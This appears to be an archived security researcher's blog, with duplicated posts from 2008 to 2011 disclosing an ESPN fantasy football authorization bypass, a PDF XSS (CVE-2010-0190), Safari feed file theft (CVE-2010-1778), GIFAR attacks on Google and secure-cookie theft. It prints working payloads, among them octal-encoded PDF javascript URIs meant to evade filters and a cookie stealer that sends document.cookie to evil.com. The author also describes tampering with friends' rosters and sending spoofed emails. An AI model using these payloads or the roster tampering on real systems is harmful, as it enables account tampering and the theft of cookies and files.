I’m posting some of the research I’ve been working on over the last few months. I planned on submitting some of this research to the Blackhat/DEFCON CFP, but it looks like I’ll be tied up for most of the summer and I won’t be able to make it out to Vegas for BH or DEFCON this year (pour some out and “make it rain” for me). The gist of the research is this: I’ve collected of number of malware C&C software packages. I set up these C&Cs in a virtual network and audited the applications and source code (when available) for bugs. The results were surprising; most of the C&C software audited has pretty crappy security.
This week's sample is an auth bypass and SQL injection on a BlackEnergy C&C page. The first of the samples can be found here: http://software-security.sans.org/blog/2011/06/10/spot-the-vuln-rabbit-authbypass-and-sqli
I’ll post more samples in the coming weeks.
Attacking malware C&C is an interesting proposition. Exploiting a single host can result in the transfer of hundreds or even thousands of hosts from one individual to another. I’m not the first to note that malware and C&C software is evolving. Gone are the days of simple IRC bots receiving clear text commands from an IRC server. Today’s C&C’s are full fledged, feature rich applications with much complexity. Complexity is the enemy of security, even malware authors cannot escape this. There is no magic bullet, even malware authors face the difficulties of writing secure code. This is especially so if their customers are paying money for C&C software and demand newer features and robust interfaces. Today’s malware landscape looks much like a typical software enterprise with paying customers, regularly scheduled feature updates, marketing, and a sprinkling of PR. Who knows, maybe in the near future these malware enterprises will have dedicated, on-call security engineering teams and a formal SDL process :)
Showing posts with label Web Application Security. Show all posts
Showing posts with label Web Application Security. Show all posts
Friday, June 10, 2011
Tuesday, September 21, 2010
Put me in Coach!
*** UPDATE ***
Rex Grossman is out for the season. ESPN has fixed the issues I discussed below. However, before you give up on your fantasy football season, apparently there is a stored XSS that I missed. This guy will have details posted soon --> http://lanmaster53.com/?p=182 . The fun never stops :)
*** UPDATE ***
First, some background. I love American football. My team is the Chicago Bears. I’ve been a Bears fan since the 80's when Walter Payton, Mike Singletary, and Jim McMahon dominated the field. The last few years as a Bears fan has been difficult, but I’ve hung in there. A few years ago the Bears had a quarterback named Rex Grossman. To put it lightly, he wasn’t the greatest QB a team could have, in fact the Bears have traded him away. I never really liked him.
Earlier this month, I was invited to play in a fantasy football league. I’ve never played fantasy football, but I understood the rules and had many friends who played. My friends (none of which work with computers for a living) needed one more player to round out a league of 10 teams so I decided to give it a shot. Before the “season” begins, each player selects the football players they think will be the most successful during the season. As my best player, I selected a running back named Ryan Grant who runs for the Green Bay Packers. I was shocked to see my star player injured in the first game of the season with a season ending injury. As I navigated the fantasy football website to find a replacement player, I came across several interesting issues. There are some issues that allow me to cheat and win (dropping arbitrary players from another teams roster, modifying another teams starting lineup), but I want to win fair and square (I guess that Midshipman honor code has stuck with me)… but as a notorious prankster I figured I could have a little fun with the bugs I discovered.
When a team decides to add a new player to their roster the player navigates through several menus and selection screens. The final confirmation URL for adding a player to the bench looks something like this:
The leagueId represents the “league” in which our teams are playing. The trans parameter represents the actual transaction. Looking at the trans parameter, I’ve broken the various pieces into the following:
Unfortunately for the other players in my league, the fantasy football application does a poor job of authorization checking. These poor checks allow me to manipulate the trans parameter to add an arbitrary player to any teams roster. I decided to add Rex Grossman to one of my rivals bench (not the starting lineup).

Soon after adding Rex to my rival’s bench, I spoofed an email from Rex Grossman with a plea to play.
A few days later, my rival was posting to the entire league that Rex Grossman had magically added himself to his roster and had emailed him to play. My rival then dropped him from the roster before the next weeks play.

Unfortunately for my rival, Rex is a persistent player. This week I traded him from waivers for another player on my rivals team. Trading from waivers/free agency is a bit more complicated and the query string is a bit more complicated, but the overall gist is the same (I also had to fake the waiver transaction ID).
The numbers before the “|” character belong to the player who is to be dropped from the roster (the bench) to waivers while the numbers after the pipe character represent the player to be added to the roster (to the bench, not the starting lineup). In this example, I’ve dropped T.J. Houshmandzadeh off of my rival’s bench roster and added Rex Grossman back to the bench.
Of course, another spoofed email goes out to explain the situation.

We’ll see what next week brings. I’ve contacted the fantasy football game provider (probably the largest provider in the US), hopefully they’ll fix it soon…
Rex Grossman is out for the season. ESPN has fixed the issues I discussed below. However, before you give up on your fantasy football season, apparently there is a stored XSS that I missed. This guy will have details posted soon --> http://lanmaster53.com/?p=182 . The fun never stops :)
*** UPDATE ***
First, some background. I love American football. My team is the Chicago Bears. I’ve been a Bears fan since the 80's when Walter Payton, Mike Singletary, and Jim McMahon dominated the field. The last few years as a Bears fan has been difficult, but I’ve hung in there. A few years ago the Bears had a quarterback named Rex Grossman. To put it lightly, he wasn’t the greatest QB a team could have, in fact the Bears have traded him away. I never really liked him.
Earlier this month, I was invited to play in a fantasy football league. I’ve never played fantasy football, but I understood the rules and had many friends who played. My friends (none of which work with computers for a living) needed one more player to round out a league of 10 teams so I decided to give it a shot. Before the “season” begins, each player selects the football players they think will be the most successful during the season. As my best player, I selected a running back named Ryan Grant who runs for the Green Bay Packers. I was shocked to see my star player injured in the first game of the season with a season ending injury. As I navigated the fantasy football website to find a replacement player, I came across several interesting issues. There are some issues that allow me to cheat and win (dropping arbitrary players from another teams roster, modifying another teams starting lineup), but I want to win fair and square (I guess that Midshipman honor code has stuck with me)… but as a notorious prankster I figured I could have a little fun with the bugs I discovered.
When a team decides to add a new player to their roster the player navigates through several menus and selection screens. The final confirmation URL for adding a player to the bench looks something like this:
leagueId=111111&incoming=1&trans=2_4480_-1_1002_3_20
The leagueId represents the “league” in which our teams are playing. The trans parameter represents the actual transaction. Looking at the trans parameter, I’ve broken the various pieces into the following:
2 <-- this is the type of transaction to be executed
4480 <-- This is the unique player ID for Rex Grossman
-1 <-- some sort of increment value/ counter?
1002 <-- another value that describes the transaction
3 <-- team id for my team
20 <-- not sure what this number is
Unfortunately for the other players in my league, the fantasy football application does a poor job of authorization checking. These poor checks allow me to manipulate the trans parameter to add an arbitrary player to any teams roster. I decided to add Rex Grossman to one of my rivals bench (not the starting lineup).
Soon after adding Rex to my rival’s bench, I spoofed an email from Rex Grossman with a plea to play.
A few days later, my rival was posting to the entire league that Rex Grossman had magically added himself to his roster and had emailed him to play. My rival then dropped him from the roster before the next weeks play.
Unfortunately for my rival, Rex is a persistent player. This week I traded him from waivers for another player on my rivals team. Trading from waivers/free agency is a bit more complicated and the query string is a bit more complicated, but the overall gist is the same (I also had to fake the waiver transaction ID).
trans=3_2753_1_20_-1_1002|2_4480_-1_1002_1_20
The numbers before the “|” character belong to the player who is to be dropped from the roster (the bench) to waivers while the numbers after the pipe character represent the player to be added to the roster (to the bench, not the starting lineup). In this example, I’ve dropped T.J. Houshmandzadeh off of my rival’s bench roster and added Rex Grossman back to the bench.
Of course, another spoofed email goes out to explain the situation.
We’ll see what next week brings. I’ve contacted the fantasy football game provider (probably the largest provider in the US), hopefully they’ll fix it soon…
Monday, September 6, 2010
PDF XSS (CVE-2010-0190)
In April of this year, Adobe patched a couple of bugs I reported to them. One was a code execution bug (CVE-2010-0191) and the other was a PDF based XSS (CVE-2010-0190). I’ll cover the code execution bug in a future post (as Adobe is still fixing a variant I reported), but for now I’d like to touch on the PDF XSS.
PDF based XSS isn’t a new concept, even Adobe considers PDFs to be active content. With that said, I’m surprised at the number of web applications that allow users to upload PDFs and then serve those PDF’s inline as opposed to an attachment (although there are some gotchas with content-disposition attachment). Serving a user supplied PDF inline essentially allows that user to execute arbitrary client side code from the domain serving the PDF. The safer way to handle PDFs is to serve them with the content-disposition set to attachment. An even better method is to serve the user controlled content from a separate domain. This can be difficult for web content portals that are deployed internally like SharePoint, Outlook Web Access (OWA) and Oracle Web (all of which were affected by this bug) where the organization would have to write custom code and employ custom configurations to protect themselves from PDF based XSS exposures. Serving PDFs with a content disposition set to attachment also creates usability issues as an ugly download warning will appear instead of the more friendly PDF content in the browser window behavior.
Although this particular bug was patched by Adobe a few months ago, there were a few things I learned that could possibly be used in other PDF bugs. I'd like to share some of the more interesting items.
PDFs support JavaScript from within the PDF. Unfortunately, the script executed from within the PDF will not have access to the browsers DOM. In order to gain access to the browser’s DOM, we have to use the PDF to redirect the browser to a JavaScript URI. Normally, redirection to JavaScript URIs are blocked by the PDF security routines, however I discovered an easy bypass using octal encoding. I place the JavaScript payload into an OpenAction for the PDF, using an octal encoded value (\72) for the “:” character. An example of the OpenAction is presented below:
A super simple XSS with PDFs. When the PDF is opened in the browser, it redirects the browser to a JavaScript URL allowing for XSS. Mailing out a rigged PDF as an attachment to some friends using OWA would have been an interesting exercise as certain versions of OWA open PDF attachments inline. Although I encoded the “:” character in the example above, any character in passed to the OpenAction can be encoded and Adobe Reader will handle it. In fact, octal encoding can be used throughout the PDF in various scripts and actions. For example, you could encode the entire protocol handler and it would still work:
You can even mix and match the encoding, making it extremely difficult for any signature based IDS to detect malicious payloads.
If you’re up against a security blacklist when attempting to exploit a PDF bug, try passing an octal encoded value for your payload. This was the bug Adobe fixed with CVE-2010-0190
Like most browser plug-ins Adobe has implemented different security mechanisms for PDFs opened from the local file system and PDFs opened remotely. It can be useful to determine whether the PDF was opened remotely or locally. The following script returns an indication as to how the PDF was loaded.
This can be useful if your exploit only works for locally loaded PDFs or maybe if your exploit only works for remotely loaded PDFs.
There can be situations where the user browses certain websites with one browser, but uses another browser as their default browser. Adobe Acrobat Reader actually provides an API (I’m not sure if it’s intentional) to pass a URI to the default browser.
If a user calls app.launchURL and passes the “true” flag, the default browser is opened and handles the passed URI. This can provide a bridge between two different browsers and can increase the reachable attack surface in some circumstances. If the user is using the default browser to open the PDF, this can help bypass pop-up blockers. You can test this by setting your default browser to IE and browsing the following PDF in FireFox. PDF HERE
There was an excellent presentation at PacSec that covered a ton of PDF bugs and Didier Stevens always has interesting PDF stuff. I hope this helps someone out there! Happy hunting.
PDF based XSS isn’t a new concept, even Adobe considers PDFs to be active content. With that said, I’m surprised at the number of web applications that allow users to upload PDFs and then serve those PDF’s inline as opposed to an attachment (although there are some gotchas with content-disposition attachment). Serving a user supplied PDF inline essentially allows that user to execute arbitrary client side code from the domain serving the PDF. The safer way to handle PDFs is to serve them with the content-disposition set to attachment. An even better method is to serve the user controlled content from a separate domain. This can be difficult for web content portals that are deployed internally like SharePoint, Outlook Web Access (OWA) and Oracle Web (all of which were affected by this bug) where the organization would have to write custom code and employ custom configurations to protect themselves from PDF based XSS exposures. Serving PDFs with a content disposition set to attachment also creates usability issues as an ugly download warning will appear instead of the more friendly PDF content in the browser window behavior.
Although this particular bug was patched by Adobe a few months ago, there were a few things I learned that could possibly be used in other PDF bugs. I'd like to share some of the more interesting items.
PDFs Support Octal Encoding
PDFs support JavaScript from within the PDF. Unfortunately, the script executed from within the PDF will not have access to the browsers DOM. In order to gain access to the browser’s DOM, we have to use the PDF to redirect the browser to a JavaScript URI. Normally, redirection to JavaScript URIs are blocked by the PDF security routines, however I discovered an easy bypass using octal encoding. I place the JavaScript payload into an OpenAction for the PDF, using an octal encoded value (\72) for the “:” character. An example of the OpenAction is presented below:
%PDF-1.1
1 0 obj
<<
/Type /Catalog
/OpenAction <<
/S /URI
/IsMap false
/URI (javascript\72alert("FTW - "+document.domain))
>>
A super simple XSS with PDFs. When the PDF is opened in the browser, it redirects the browser to a JavaScript URL allowing for XSS. Mailing out a rigged PDF as an attachment to some friends using OWA would have been an interesting exercise as certain versions of OWA open PDF attachments inline. Although I encoded the “:” character in the example above, any character in passed to the OpenAction can be encoded and Adobe Reader will handle it. In fact, octal encoding can be used throughout the PDF in various scripts and actions. For example, you could encode the entire protocol handler and it would still work:
/URI (\112\101\126\101\123\103\122\111\120\124\72alert(document.domain))
You can even mix and match the encoding, making it extremely difficult for any signature based IDS to detect malicious payloads.
/URI (j\101v\101s\103r\111p\124\72alert(document.domain))
If you’re up against a security blacklist when attempting to exploit a PDF bug, try passing an octal encoded value for your payload. This was the bug Adobe fixed with CVE-2010-0190
Security models are different for local and remote PDFs
Like most browser plug-ins Adobe has implemented different security mechanisms for PDFs opened from the local file system and PDFs opened remotely. It can be useful to determine whether the PDF was opened remotely or locally. The following script returns an indication as to how the PDF was loaded.
//In the browser or loaded locally
if ( this.external )
{
// Viewing from a browser
}
else
{
// Viewing in the Acrobat application.
}
This can be useful if your exploit only works for locally loaded PDFs or maybe if your exploit only works for remotely loaded PDFs.
PDFs can be used to call the default browser
There can be situations where the user browses certain websites with one browser, but uses another browser as their default browser. Adobe Acrobat Reader actually provides an API (I’m not sure if it’s intentional) to pass a URI to the default browser.
app.launchURL("http://xs-sniper.com/",true);
If a user calls app.launchURL and passes the “true” flag, the default browser is opened and handles the passed URI. This can provide a bridge between two different browsers and can increase the reachable attack surface in some circumstances. If the user is using the default browser to open the PDF, this can help bypass pop-up blockers. You can test this by setting your default browser to IE and browsing the following PDF in FireFox. PDF HERE
There was an excellent presentation at PacSec that covered a ton of PDF bugs and Didier Stevens always has interesting PDF stuff. I hope this helps someone out there! Happy hunting.
Sunday, August 1, 2010
Stealing Files With Safari 5 (CVE-2010-1778)
Last week, Apple patched a bug in Safari I had reported to the Apple security team. The impact of the bug was listed as a vulnerability that could “cause files from the user’s system to be sent to a remote server”. The advisory can be found here (CVE-2010-1778).
Here’s a breakdown of how you can get “files from the user’s system to be sent to a remote server”. First, Safari has a built-in RSS/Feed processor which will take RSS files and transforms them into a format that is easy to read. It’s important to understand that the XML content of the file being provided to the feed URL is not the same as the output markup that will be displayed by Safari’s built-in feed reader. Safari takes bits of content from the RSS file and mixes it with some built-in markup. Try browsing to this RSS feed with Firefox (http://xs-sniper.com/blog/feed/rss/) and do a quick view source. Then try browsing to the same URL with Safari and view source. You'll see some drastic differences in the HTML markup between the two browser (the raw XML vs Safari's transform).
When transforming the original XML file to a format that can be displayed by Safari’s internal feed reader, Safari also attempts to sanitize the XML file to prevent the execution of user/attacker controlled JavaScript. This sanitization is done because JavaScript executed under the feed:// protocol has access to the local file system and is NOT subject to the same origin policy. This bug bypassed these sanitization routines, giving an attacker the ability to execute arbitrary JavaScript under the feed protocol. The specific bypass is here (although the Jay-Z content isn't necessary for the exploit, it adds a bit of flava...):
The XML above is transformed into the following by Safari’s feed processing routines:
The script include is executed in HTML markup, requesting a JavaScript payload of the attackers choice. A quick PoC can be found here (http://xs-sniper.com/blog/Safari-Feed/feedpwn-mac.xml). For Mac users without the latest patches for Safari, the PoC loads an attacker controlled JavaScript include and simply shows your /etc/passwd in a JavaScript dialog. A better payload would be to crawl certain log files, extracting the username of the current user. Once the username is extracted, the payload could grab the cookies.plist file giving the remote attacker all the cookies for all the websites the current user is logged into. Various configuration and ini files could be useful as well. I’m putting the final touches on a metasploit module that does just this :)
Here’s a breakdown of how you can get “files from the user’s system to be sent to a remote server”. First, Safari has a built-in RSS/Feed processor which will take RSS files and transforms them into a format that is easy to read. It’s important to understand that the XML content of the file being provided to the feed URL is not the same as the output markup that will be displayed by Safari’s built-in feed reader. Safari takes bits of content from the RSS file and mixes it with some built-in markup. Try browsing to this RSS feed with Firefox (http://xs-sniper.com/blog/feed/rss/) and do a quick view source. Then try browsing to the same URL with Safari and view source. You'll see some drastic differences in the HTML markup between the two browser (the raw XML vs Safari's transform).
When transforming the original XML file to a format that can be displayed by Safari’s internal feed reader, Safari also attempts to sanitize the XML file to prevent the execution of user/attacker controlled JavaScript. This sanitization is done because JavaScript executed under the feed:// protocol has access to the local file system and is NOT subject to the same origin policy. This bug bypassed these sanitization routines, giving an attacker the ability to execute arbitrary JavaScript under the feed protocol. The specific bypass is here (although the Jay-Z content isn't necessary for the exploit, it adds a bit of flava...):
<category term="Hip Hop/Rap" scheme="http://itunes.apple.com/us/genre/music-hip-hop-rap/id18?uo=2" label="Hip Hop/Rap"/>
<link title="Preview" rel="enclosure" type='video/x-m4"--><script src="http://xs-sniper.com/blog/Safari-Feed/safari-mac-feedpwn.js">
</script>' href="data:text/html,testtesttest" im:assetType="preview"><im:duration>30864</im:duration></link>
<im:artist href="http://itunes.apple.com/us/artist/jay-z/id112080?uo=2">Jay-Z</im:artist>
The XML above is transformed into the following by Safari’s feed processing routines:
<div>
<!-- <img src="feed:///__icon32__/video/x-m4"--><script src="http://xs-sniper.com/blog/Safari-Feed/safari-mac-feedpwn.js"> </script>"> -->
<img src="file://localhost/C:/Program%20Files%20(x86)/Safari/PubSub.resources/default.jpg" height="32" width="32"/>
The script include is executed in HTML markup, requesting a JavaScript payload of the attackers choice. A quick PoC can be found here (http://xs-sniper.com/blog/Safari-Feed/feedpwn-mac.xml). For Mac users without the latest patches for Safari, the PoC loads an attacker controlled JavaScript include and simply shows your /etc/passwd in a JavaScript dialog. A better payload would be to crawl certain log files, extracting the username of the current user. Once the username is extracted, the payload could grab the cookies.plist file giving the remote attacker all the cookies for all the websites the current user is logged into. Various configuration and ini files could be useful as well. I’m putting the final touches on a metasploit module that does just this :)
Tuesday, December 16, 2008
SUN Fixes GIFARs
Last week, Sun released a patch for a vulnerability I reported to them. The patch I’m talking about fixes the “GIFAR” issue. I was unable to speak on the issue at Black Hat (for various reasons), but Nate McFeters did a great job of presenting the concept of GIFARs at Black Hat USA along with a simple example of how an attacker could use a GIFAR in an attack. Now that the issue has been patched, I’d like to cover some of the things related to “GIFARs” that I thought were interesting (including a few items that were not mentioned at Black Hat).
Before we begin, I’d like to thanks Chok Poh from Sun’s Security team. Chok was vital in fixing the GIFAR issue. This patch required some significant thought as to how to best handle this issue. Chok was very responsive and was smart enough to understand the impact of the unusual issue. I’d also like to thank the Google Security team. Google was our “guinea pig” for testing some of the pieces related to GIFARs and despite having to redesign some of their application behavior, they were gracious and very worked diligently to protect their users. Now, on to the show!
As shown by Nate at Black Hat, creating the GIFAR is simple, we simply use the “copy” command on Windows or the “cat” command on *nix. There are a few different places that talk about this technique (pdp has a great write up), but I first learned of the technique from Lifehacker.com in this post. Once the GIFAR is created, we examine the file in a HEX editor. The header of the file looks something like this:

The footer looks something like this:

We now have a file that is both a valid GIF and valid Java JAR. We now upload our GIFAR to our victim domain (in this case Google’s Picasa Web). Google attempts to ensure the file is a valid GIF (which it is) and takes ownership of the GIFAR on their domain. Once Google has taken ownership of the GIFAR, I can reference the applet on my attacking page via the APPLET tag. I think the items above were well covered at Black Hat and it is these concepts that represent the essence of a generic GIFAR attack… but Google is smart and they understood the dangers of insecure content ownership before GIFAR, so let’s looks at how we bypassed these Google specific protections.
When we first examined the GIFAR we uploaded to Picasa Web, it wasn’t actually served from the google.com domain. The actual domain it was served from lh4.ggpht.com. Below is a screenshot of the domain Google was using to serve the user supplied images.

After some investigation, we realized that ggpht.com was actually an alias for google.com. So, we could manually change our request from lh4.ggpht.com to lh4.google.com.

Bingo! Now we are on a google.com domain! From here, a lot of attackers begin to think “Java has raw sockets…”. It’s one of the first avenues we approached, but we quickly discovered that raw sockets aren’t as useful as other techniques. Instead of raw sockets, we chose to use Java’s HTTPUrlConnection object. We chose the HTTPUrlConnection object for two very good reasons. The first reason is HTTPUrlConnection uses the browsers cookies when making request to domains. So, if our applet is stored on lh4.google.com and the user is signed into Google, we get to piggy back off the victim’s cookies. We’ll get to the second reason here in a bit.

Now, even though we are now on the google.com domain, we still have a problem. The Java Same Origin Policy allows the applet to connect back to the domain that served the applet (I’ve covered this behavior before in previous posts). Considering the applet was served from lh4.google.com, the attacker is allowed to use the applet to connect back to lh4.google.com and only lh4.google.com. The problem here is lh4.google.com doesn’t store anything interesting. This problem leads us to the second reason we chose the HTTPUrlConnection object.
Java’s HTTPUrlConnection object has a method named “setRequestProperty”. Using setRequestProperty we can set arbitrary HTTP headers for our GET and POST requests. We use the setRequestProperty to set the HOST header for the HTTP request, allowing us to “jump” from the lh4.google.com domain to any other google.com sub domain. As a simple example, I had discovered a contact list at http://groups-beta.google.com/groups/profile/contacts?out=&max=500 (Google has removed this contact list). I set the URL object passed to the HTTPUrlConnection object to http://lh4.google.com/groups/profile/contacts?out=&max=500. I also set the HOST header to groups-beta.google.com.

When the request is made, Java checks the value of the URL object to ensure the Same Origin Policy is enforced. Since the domain of the URL object is lh4.google.com, everything checks out and Java lets the request through. Once Google receives the request, it checks the HOST header to determine where the resource should be served from. The HOST header specifies that the resource should be served from groups-beta.google.com, so despite the fact that the URL points to lh4.google.com, Google serves the contact list from groups-beta.google.com. In this example, I stole a user’s contact list but it could have been any content from a number of Google sub domains.

It’s easy to blame Java (Sun) for this issue. After all, it was their JRE that had a relaxed Jar parsing criterion which allowed GIFARs to be passed as Jars. In many respects some blame could be placed on Sun, but in my opinion (as humble as it is), this is ultimately a web application issue. When a web application chooses to take ownership of a user controlled file and serves it from their domain, it weakens the integrity of the domain. This isn’t the first time an image was repurposed like this, IE has had MIME sniffing issues with images, Flash had crossdomain.xml issues with images, and now we have GIFARs. The impact of these attacks could have been minimized if web applications that took user controlled files served those files from a “throw away” domain. As an application developer, you can prevent these types of attacks in the future by using a separate domain for user influenced files.
Before we begin, I’d like to thanks Chok Poh from Sun’s Security team. Chok was vital in fixing the GIFAR issue. This patch required some significant thought as to how to best handle this issue. Chok was very responsive and was smart enough to understand the impact of the unusual issue. I’d also like to thank the Google Security team. Google was our “guinea pig” for testing some of the pieces related to GIFARs and despite having to redesign some of their application behavior, they were gracious and very worked diligently to protect their users. Now, on to the show!
As shown by Nate at Black Hat, creating the GIFAR is simple, we simply use the “copy” command on Windows or the “cat” command on *nix. There are a few different places that talk about this technique (pdp has a great write up), but I first learned of the technique from Lifehacker.com in this post. Once the GIFAR is created, we examine the file in a HEX editor. The header of the file looks something like this:
The footer looks something like this:
We now have a file that is both a valid GIF and valid Java JAR. We now upload our GIFAR to our victim domain (in this case Google’s Picasa Web). Google attempts to ensure the file is a valid GIF (which it is) and takes ownership of the GIFAR on their domain. Once Google has taken ownership of the GIFAR, I can reference the applet on my attacking page via the APPLET tag. I think the items above were well covered at Black Hat and it is these concepts that represent the essence of a generic GIFAR attack… but Google is smart and they understood the dangers of insecure content ownership before GIFAR, so let’s looks at how we bypassed these Google specific protections.
When we first examined the GIFAR we uploaded to Picasa Web, it wasn’t actually served from the google.com domain. The actual domain it was served from lh4.ggpht.com. Below is a screenshot of the domain Google was using to serve the user supplied images.
After some investigation, we realized that ggpht.com was actually an alias for google.com. So, we could manually change our request from lh4.ggpht.com to lh4.google.com.
Bingo! Now we are on a google.com domain! From here, a lot of attackers begin to think “Java has raw sockets…”. It’s one of the first avenues we approached, but we quickly discovered that raw sockets aren’t as useful as other techniques. Instead of raw sockets, we chose to use Java’s HTTPUrlConnection object. We chose the HTTPUrlConnection object for two very good reasons. The first reason is HTTPUrlConnection uses the browsers cookies when making request to domains. So, if our applet is stored on lh4.google.com and the user is signed into Google, we get to piggy back off the victim’s cookies. We’ll get to the second reason here in a bit.
Now, even though we are now on the google.com domain, we still have a problem. The Java Same Origin Policy allows the applet to connect back to the domain that served the applet (I’ve covered this behavior before in previous posts). Considering the applet was served from lh4.google.com, the attacker is allowed to use the applet to connect back to lh4.google.com and only lh4.google.com. The problem here is lh4.google.com doesn’t store anything interesting. This problem leads us to the second reason we chose the HTTPUrlConnection object.
Java’s HTTPUrlConnection object has a method named “setRequestProperty”. Using setRequestProperty we can set arbitrary HTTP headers for our GET and POST requests. We use the setRequestProperty to set the HOST header for the HTTP request, allowing us to “jump” from the lh4.google.com domain to any other google.com sub domain. As a simple example, I had discovered a contact list at http://groups-beta.google.com/groups/profile/contacts?out=&max=500 (Google has removed this contact list). I set the URL object passed to the HTTPUrlConnection object to http://lh4.google.com/groups/profile/contacts?out=&max=500. I also set the HOST header to groups-beta.google.com.
When the request is made, Java checks the value of the URL object to ensure the Same Origin Policy is enforced. Since the domain of the URL object is lh4.google.com, everything checks out and Java lets the request through. Once Google receives the request, it checks the HOST header to determine where the resource should be served from. The HOST header specifies that the resource should be served from groups-beta.google.com, so despite the fact that the URL points to lh4.google.com, Google serves the contact list from groups-beta.google.com. In this example, I stole a user’s contact list but it could have been any content from a number of Google sub domains.
It’s easy to blame Java (Sun) for this issue. After all, it was their JRE that had a relaxed Jar parsing criterion which allowed GIFARs to be passed as Jars. In many respects some blame could be placed on Sun, but in my opinion (as humble as it is), this is ultimately a web application issue. When a web application chooses to take ownership of a user controlled file and serves it from their domain, it weakens the integrity of the domain. This isn’t the first time an image was repurposed like this, IE has had MIME sniffing issues with images, Flash had crossdomain.xml issues with images, and now we have GIFARs. The impact of these attacks could have been minimized if web applications that took user controlled files served those files from a “throw away” domain. As an application developer, you can prevent these types of attacks in the future by using a separate domain for user influenced files.
Labels:
Applet,
contact list,
GIFARs,
google,
java,
Patch,
pwnd,
SUN,
web,
Web Application Security,
webapp
Tuesday, September 23, 2008
Surf Jacking Secure Cookies
I was thinking back to Sandro’s paper on Surf Jacking and I realized that there was one small caveat where the “Secure” flag wouldn’t protect your cookies from Surf Jacking…
The Side Jacking and Surf Jacking techniques basically stipulate that the attacker has to be on the same network segment as the victim (you have to be able to sniff the traffic in order to see the cookie go by on the network)… So I’ll stipulate the same.
Say I go to https://xs-sniper.com and xs-sniper.com sets a cookie, but sets it with the “Secure” flag. An attacker could eventually force my browser to load a non-secure version of xs-sniper.com (http://xs-sniper.com) in an attempt to force my session cookie to travel in the clear so they can sniff the cookie as it goes by (this is a simplified description of Surf Jacking). Now, if all my cookies are set secure, my cookies won’t travel over the wire in the clear… I’m safe… right?
Not so fast… If application sets all the cookies with the secure flag, BUT the web application also has a “script src” tag pointing to an insecure location (http://) then you can STILL STEAL THE COOKIE, even if its marked secure. Let me explain…
If an attacker is on the same network segment as you, not only can they sniff clear text data (http://) they can also INJECT data as it traverses the network. Let’s say I have a page on xs-sniper.com that does analytics for my web application. We’ll name this page http://xs-sniper.com/analytics.html. This page is meant to be served as http:// and contains no sensitive data, but if a user makes a direct request for https://xs-sniper.com/analytics.html the page is still served. Inside of the page’s HTML is a script src tag that looks something like this:
<script src="http://myanalytics.com/webbugs.js"></script>
Now, using the surf jack technique, Sandro redirected the victim to an http:// version of the targeted site. In our case, redirecting to an insecure version of the site doesn’t help us as all the cookies are set SECURE. Instead, we’ll redirect to an https:// page on our victim domain that contains an insecure script src tag like the one shown above (https://xs-sniper.com/analytics.html). Once we see the request for the insecure javascript file (webbugs.js) file, we can inject our own javascript cookie stealing payload (as the script src request is made in the clear):
CookiesStealer = new Image();
CookiesStealer.src = “http://www.evil.com/stealer.jpg?”+document.cookie;
The injected script is executed by the page that loaded it and gives up the cookies for the domain, even if they are marked secure. There you go… Secure cookies stolen.
Without warning or prompt, every browser I tested allowed an https:// page to load a script src from an insecure http:// location. Ok... I lied... every browser EXCEPT ONE... can you guess which lonely browser provided a warning before allowing an https:// page to load a script from an http:// location? You can find the answer here. For those of you in disbelief, you can test your favorite browser(s) here.
SIDENOTE: HTTP pages that call document.cookie will NOT have access to SECURE cookies… well at least in the browsers that I checked... that's pretty cool...
CLARIFICATION ON SIDENOTE: From my tests (which only covered a few browsers) it seems that the document.cookie object called from an http:// page WILL NOT contain secure cookies (this is a GOOD thing). So, if I were able to inject a full http:// page and called document.cookie, the secure cookie would be missing. This is why I needed to call an https:// page with a script src that loaded an insecure script file.
The Side Jacking and Surf Jacking techniques basically stipulate that the attacker has to be on the same network segment as the victim (you have to be able to sniff the traffic in order to see the cookie go by on the network)… So I’ll stipulate the same.
Say I go to https://xs-sniper.com and xs-sniper.com sets a cookie, but sets it with the “Secure” flag. An attacker could eventually force my browser to load a non-secure version of xs-sniper.com (http://xs-sniper.com) in an attempt to force my session cookie to travel in the clear so they can sniff the cookie as it goes by (this is a simplified description of Surf Jacking). Now, if all my cookies are set secure, my cookies won’t travel over the wire in the clear… I’m safe… right?
Not so fast… If application sets all the cookies with the secure flag, BUT the web application also has a “script src” tag pointing to an insecure location (http://) then you can STILL STEAL THE COOKIE, even if its marked secure. Let me explain…
If an attacker is on the same network segment as you, not only can they sniff clear text data (http://) they can also INJECT data as it traverses the network. Let’s say I have a page on xs-sniper.com that does analytics for my web application. We’ll name this page http://xs-sniper.com/analytics.html. This page is meant to be served as http:// and contains no sensitive data, but if a user makes a direct request for https://xs-sniper.com/analytics.html the page is still served. Inside of the page’s HTML is a script src tag that looks something like this:
<script src="http://myanalytics.com/webbugs.js"></script>
Now, using the surf jack technique, Sandro redirected the victim to an http:// version of the targeted site. In our case, redirecting to an insecure version of the site doesn’t help us as all the cookies are set SECURE. Instead, we’ll redirect to an https:// page on our victim domain that contains an insecure script src tag like the one shown above (https://xs-sniper.com/analytics.html). Once we see the request for the insecure javascript file (webbugs.js) file, we can inject our own javascript cookie stealing payload (as the script src request is made in the clear):
CookiesStealer = new Image();
CookiesStealer.src = “http://www.evil.com/stealer.jpg?”+document.cookie;
The injected script is executed by the page that loaded it and gives up the cookies for the domain, even if they are marked secure. There you go… Secure cookies stolen.
Without warning or prompt, every browser I tested allowed an https:// page to load a script src from an insecure http:// location. Ok... I lied... every browser EXCEPT ONE... can you guess which lonely browser provided a warning before allowing an https:// page to load a script from an http:// location? You can find the answer here. For those of you in disbelief, you can test your favorite browser(s) here.
SIDENOTE: HTTP pages that call document.cookie will NOT have access to SECURE cookies… well at least in the browsers that I checked... that's pretty cool...
CLARIFICATION ON SIDENOTE: From my tests (which only covered a few browsers) it seems that the document.cookie object called from an http:// page WILL NOT contain secure cookies (this is a GOOD thing). So, if I were able to inject a full http:// page and called document.cookie, the secure cookie would be missing. This is why I needed to call an https:// page with a script src that loaded an insecure script file.
Monday, September 8, 2008
Simple Lesson on Secure Cookies
I recently read a paper written by Sandro Gauci from Enable Security entitled "Surf Jacking - HTTPS will not save you". You can find the paper here.
It's an interesting read and extremely relevant to today’s web applications. The heart of the paper describes some simple tricks to force a session cookie to be sent over a non encrypted channel. These tricks are possible if the secure flag isn’t set for the session cookie. These types of attacks have been discussed before. Side Jacking is probably the most well known (and most widely used) attack against leaked cookies.
